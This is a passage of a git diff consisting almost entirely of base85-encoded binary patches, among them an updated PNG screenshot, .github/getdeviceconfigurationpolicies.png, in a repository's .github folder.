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 literal 0 HcmV?d00001 diff --git a/.github/getdeviceconfigurationpolicies.png b/.github/getdeviceconfigurationpolicies.png index 4a4fa21441edd6e0a6d80e538505f7738f95cc34..e7bbbc6e3558c95abda5584a4e82203feced7b37 100644 GIT binary patch literal 81739 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 